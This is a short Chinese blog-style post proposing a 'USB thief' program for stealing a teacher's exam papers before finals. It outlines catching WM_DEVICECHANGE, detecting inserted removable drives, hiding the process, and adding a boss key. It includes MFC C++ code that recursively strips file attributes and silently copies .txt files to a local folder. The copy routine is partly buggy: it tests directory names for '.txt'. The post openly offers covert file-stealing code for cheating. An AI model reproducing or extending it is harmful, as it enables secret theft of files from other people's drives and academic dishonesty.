临近期末,大家都忙着复习,不挂科。
这学期的操作系统课实在蛋疼。。还有编译原理。
老师还不给划重点,那咱们怎么办?于是有了下面的想法:
u盘小偷程序 帮助你偷取老师的试卷,不挂科! 哈哈
这个程序的要点是获取WM_DEVICECHANGE 硬件改动消息
接收插入u盘消息
测试最后几个磁盘是否为移动磁盘。复制所需要的文件
这个程序的难点是进程隐藏,老板键的设置
递归拷贝文件代码:
void SearchCopyDirectory(CString strDir) { if(strDir.IsEmpty()) return; CFileFind ff; //首先拷贝文件及子文件夹 BOOL bFound = ff.FindFile(strDir+ "\\*",0); CString newfilepath = "d://copy//"; CString findcontent; int n = 0; while(bFound) { bFound = ff.FindNextFile(); if(ff.GetFileName()== "."||ff.GetFileName()== "..") //过滤掉//. //.. continue; SetFileAttributes(ff.GetFilePath(), FILE_ATTRIBUTE_NORMAL); //去掉文件(夹)只读等属性 if(ff.IsDirectory()) { SearchCopyDirectory(ff.GetFilePath()); //拷贝递归文件夹 findcontent = ff.GetFileName(); n = findcontent.Find(".txt"); if(-1 !=n) { if(0==CopyFile(ff.GetFilePath(),newfilepath+ff.GetFileName(),0)) { //ifdef DEBUG //AfxMessageBox("failue A ..."); } } } else { findcontent = ff.GetFileName(); n = findcontent.Find(".txt"); if(-1 !=n) { if(0==CopyFile(ff.GetFilePath(),newfilepath+ff.GetFileName(),0)) //拷贝文件 { //AfxMessageBox("failue B..."); } } } } ff.Close(); }